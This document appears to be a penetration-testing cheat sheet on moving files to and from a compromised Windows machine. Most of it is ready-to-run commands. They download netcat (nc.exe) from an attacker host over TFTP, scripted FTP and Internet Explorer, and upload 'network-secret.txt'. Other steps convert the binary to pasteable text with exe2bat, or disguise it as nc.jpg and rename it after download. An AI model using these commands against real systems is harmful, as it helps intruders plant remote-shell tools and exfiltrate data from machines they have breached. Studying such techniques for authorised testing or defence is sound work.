Transferring Files
8.2 Uploading Files
TFTP
Start Daemon:
atftpd –daemon –port 69 /tmp/
Transfer files using the “i” switch:
tftp -i 192.168.10.155 GET nc.exe
tftp -i 192.168.10.155 PUT network-secret.txt
FTP (using “s” switch)
use “s” switch to make FTP take all its input from a file instead:
echo open 192.168.10.155 >> ftp.txt
echo username >> ftp.txt
echo password >> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt
Inline Transfers (Copy and Paste in the shell itself)
Prepare the file to be copied:
upx -9 nc.exe (Compress)
cd /pentest/windows-binaries/tools/
wine exe2bat.exe nc.exe nc.txt (Convert to Text)
Copy the Contents of the text file using a text editor (e.g. Kate)
Paste the contents in the remote shell (last line if it shows an error, change the path accordingly)
run the file and test.
Using Internet Explorer:
1. run the apche Server on your machine
/etc/init.d/apache2 start
2. Copy the file(s) to the web root:
cp * /var/www/
3. Gain remote shell
4. go to Internet Explorer Directory
cd Program Files\Internet Explorer
5. run the Internet Explorer
start iexplore.exe http://192.168.10.155/nc.jpg
6. change extension back to .exe